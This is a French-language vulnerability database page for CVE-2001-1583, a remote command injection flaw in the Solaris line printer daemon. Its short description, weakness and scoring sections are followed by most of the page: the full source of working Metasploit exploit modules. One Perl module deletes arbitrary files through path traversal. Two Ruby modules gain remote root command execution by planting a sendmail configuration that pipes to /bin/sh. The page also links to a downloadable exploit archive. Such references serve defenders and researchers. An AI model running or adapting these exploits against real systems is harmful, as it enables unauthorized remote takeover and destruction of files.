CVE-2001-1583 : Détail

CVE-2001-1583

OS Command Injection
A03-Injection
40.89%V3
Network
2007-09-23
21h00 +00:00
2017-07-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

lpd daemon (in.lpd) in Solaris 8 and earlier allows remote attackers to execute arbitrary commands via a job request with a crafted control file that is not properly handled when lpd invokes a mail program. NOTE: this might be the same vulnerability as CVE-2000-1220.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 1167

Date de publication : 2005-08-18 22h00 +00:00
Auteur : Optyx
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::solaris_lpd_unlink; use base "Msf::Exploit"; use IO::Socket; use IO::Select; use strict; use Pex::Text; my $advanced = { }; my $info = { 'Name' => 'Solaris LPD Arbitrary File Delete', 'Version' => '$Revision: 1.6 $', 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', 'Optyx <optyx [at] uberhax0r.net>' ], 'Arch' => [ ], 'OS' => [ 'solaris' ], 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The LPD server port', 515], 'RPATH' => [1, 'DATA', 'The remote path name to delete'], }, 'Description' => Pex::Text::Freeform(qq{ This module uses a vulnerability in the Solaris line printer daemon to delete arbitrary files on an affected system. This can be used to exploit the rpc.walld format string flaw, the missing krb5.conf authentication bypass, or simple delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10. }), 'Refs' => [ ['URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'], ], 'DefaultTarget' => 0, 'Targets' => [['No Target Needed']], 'Keys' => ['lpd'], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_path = $self->GetVar('RPATH'); my $res; # We use one connection to configure the spool directory my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'LocalPort' => $self->GetVar('CPORT'), 'SSL' => $self->GetVar('SSL'), ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } # Send a job request that will trigger the cascade adaptor (thanks Dino!) $s->Send("\x02"."metasploit:framework\n"); $res = $s->Recv(1, 5); if (ord($res) != 0) { $self->PrintLine("[*] The target did not accept our job request command"); return; } # The job ID is squashed down to three decimal digits my $jid = ($$ % 1000).unpack("H*",pack('N', time() + $$)); # Create a simple control file... my $control = "Hmetasploit\nPr00t\n"; # Theoretically, we could delete multiple files at once, however # the lp daemon will append garbage from memory to the path name # if we don't stick a null byte after the path. Unfortunately, this # null byte will prevent the parser from processing the other paths. $control .= "U".("../" x 10)."$target_path\x00\n"; my $dataf = "http://metasploit.com/\n"; $self->PrintLine("[*] Sending the malicious cascaded job request..."); if ( ! $self->SendFile($s, 2, "cfA".$jid."metasploit", $control) || ! $self->SendFile($s, 3, "dfa".$jid."metasploit", $dataf) || 0 ) { $s->Close; return } $self->PrintLine(''); $self->PrintLine("[*] Successfully deleted $target_path >:-]"); return; } sub SendFile { my $self = shift; my $sock = shift; my $type = shift; my $name = shift; my $data = shift; $sock->Send(chr($type) .length($data). " $name\n"); my $res = $sock->Recv(1, 5); if (ord($res) != 0) { $self->PrintLine("[*] The target did not accept our control file command ($name)"); return; } $sock->Send($data); $sock->Send("\x00"); $res = $sock->Recv(1, 5); if (ord($res) != 0) { $self->PrintLine("[*] The target did not accept our control file data ($name)"); return; } $self->PrintLine(sprintf("[*] Uploaded %.4d bytes >> $name", length($data))); return 1; } 1; # milw0rm.com [2005-08-19]
Exploit Database EDB-ID : 21097

Date de publication : 2001-08-30 22h00 +00:00
Auteur : ron1n
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/3274/info The print protocol daemon, 'in.lpd' (or 'lpd'), shipped with Solaris may allow for remote attackers to execute arbitrary commands on target hosts with superuser privileges. The alleged vulnerability is not the buffer overflow discovered by ISS. It has been reported that it is possible to execute commands on target hosts through lpd by manipulating the use of sendmail by the daemon. If this vulnerability is successfully exploited, remote attackers can execute any command on the target host with superuser privileges. This vulnerability is very similar to one mentioned in NAI advisory NAI-0020. NOTE: It has been reported that a valid printer does NOT need to be configured to exploit this vulnerability. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21097.tar.gz
Exploit Database EDB-ID : 9921

Date de publication : 2001-08-30 22h00 +00:00
Auteur : H D Moore
EDB Vérifié : Yes

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Solaris LPD Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution flaw in the in.lpd service shipped with all versions of Sun Solaris up to and including 8.0. This module uses a technique discovered by Dino Dai Zovi to exploit the flaw without needing to know the resolved name of the attacking system. }, 'Author' => [ 'hdm', 'ddz' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2001-1583'], [ 'OSVDB', '15131'], [ 'BID', '3274'], ], 'Platform' => ['unix', 'solaris'], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 8192, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DisclosureDate' => 'Aug 31 2001', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(515) ], self.class) end def exploit # This is the temporary path created in the spool directory spath = "/var/spool/print" # The job ID is squashed down to three decimal digits jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0] # The control file control = "H"+"metasploit\n"+ "P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+ "f"+"dfA"+jid+"config\n"+ "f"+"dfA"+jid+"script\n" # The mail configuration file mailcf = "V8\n"+ "\n"+ "Ou0\n"+ "Og0\n"+ "OL0\n"+ "Oeq\n"+ "OQX/tmp\n"+ "\n"+ "FX|/bin/sh #{spath}/#{jid}script\n"+ "\n"+ "S3\n"+ "S0\n"+ "R\+ #local \\@blah :blah\n"+ "S1\n"+ "S2\n"+ "S4\n"+ "S5\n"+ "\n"+ "Mlocal P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+ "Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n" # Establish the first connection to the server sock1 = connect(false) # Request a cascaded job sock1.put("\x02metasploit:framework\n") res = sock1.get_once if (not res) print_status("The target did not accept our job request command") return end print_status("Configuring the spool directory...") if !( send_file(sock1, 2, "cfA" + jid + "metasploit", control) and send_file(sock1, 3, jid + "mail.cf", mailcf) and send_file(sock1, 3, jid + "script", payload.encoded) ) sock1.close return end # Establish the second connection to the server sock2 = connect(false) # Request another cascaded job sock2.put("\x02localhost:metasploit\n") res = sock2.get_once if (not res) print_status("The target did not accept our second job request command") return end print_status("Triggering the vulnerable call to the mail program...") if !( send_file(sock2, 2, "cfA" + jid + "metasploit", control) and send_file(sock2, 3, "dfa" + jid + "config", mailcf) ) sock1.close sock2.close return end sock1.close sock2.close print_status("Waiting up to 60 seconds for the payload to execute...") sleep(60) handler end def send_file(s, type, name, data='') s.put(type.chr + data.length.to_s + " " + name + "\n") res = s.get_once(1) if !(res and res[0] == ?\0) print_status("The target did not accept our control file command (#{name})") return end s.put(data) s.put("\x00") res = s.get_once(1) if !(res and res[0] == ?\0) print_status("The target did not accept our control file data (#{name})") return end print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length)) return true end end
Exploit Database EDB-ID : 16322

Date de publication : 2010-09-19 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: sendmail_exec.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Solaris LPD Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution flaw in the in.lpd service shipped with all versions of Sun Solaris up to and including 8.0. This module uses a technique discovered by Dino Dai Zovi to exploit the flaw without needing to know the resolved name of the attacking system. }, 'Author' => [ 'hdm', 'ddz' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2001-1583'], [ 'OSVDB', '15131'], [ 'BID', '3274'], ], 'Platform' => ['unix', 'solaris'], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 8192, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DisclosureDate' => 'Aug 31 2001', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(515) ], self.class) end def exploit # This is the temporary path created in the spool directory spath = "/var/spool/print" # The job ID is squashed down to three decimal digits jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0] # The control file control = "H"+"metasploit\n"+ "P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+ "f"+"dfA"+jid+"config\n"+ "f"+"dfA"+jid+"script\n" # The mail configuration file mailcf = "V8\n"+ "\n"+ "Ou0\n"+ "Og0\n"+ "OL0\n"+ "Oeq\n"+ "OQX/tmp\n"+ "\n"+ "FX|/bin/sh #{spath}/#{jid}script\n"+ "\n"+ "S3\n"+ "S0\n"+ "R\+ #local \\@blah :blah\n"+ "S1\n"+ "S2\n"+ "S4\n"+ "S5\n"+ "\n"+ "Mlocal P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+ "Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n" # Establish the first connection to the server sock1 = connect(false) # Request a cascaded job sock1.put("\x02metasploit:framework\n") res = sock1.get_once if (not res) print_status("The target did not accept our job request command") return end print_status("Configuring the spool directory...") if !( send_file(sock1, 2, "cfA" + jid + "metasploit", control) and send_file(sock1, 3, jid + "mail.cf", mailcf) and send_file(sock1, 3, jid + "script", payload.encoded) ) sock1.close return end # Establish the second connection to the server sock2 = connect(false) # Request another cascaded job sock2.put("\x02localhost:metasploit\n") res = sock2.get_once if (not res) print_status("The target did not accept our second job request command") return end print_status("Attempting to trigger the vulnerable call to the mail program...") if !( send_file(sock2, 2, "cfA" + jid + "metasploit", control) and send_file(sock2, 3, "dfa" + jid + "config", mailcf) ) sock1.close sock2.close return end sock1.close sock2.close print_status("Waiting up to 60 seconds for the payload to execute...") select(nil,nil,nil,60) handler end def send_file(s, type, name, data='') s.put(type.chr + data.length.to_s + " " + name + "\n") res = s.get_once(1) if !(res and res[0,1] == "\x00") print_status("The target did not accept our control file command (#{name})") return end s.put(data) s.put("\x00") res = s.get_once(1) if !(res and res[0,1] == "\x00") print_status("The target did not accept our control file data (#{name})") return end print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length)) return true end end

Products Mentioned

Configuraton 0

Sun>>Sunos >> Version To (including) 5.9

Références

http://www.securityfocus.com/bid/3274
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=99929694701826&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.osvdb.org/15131
Tags : vdb-entry, x_refsource_OSVDB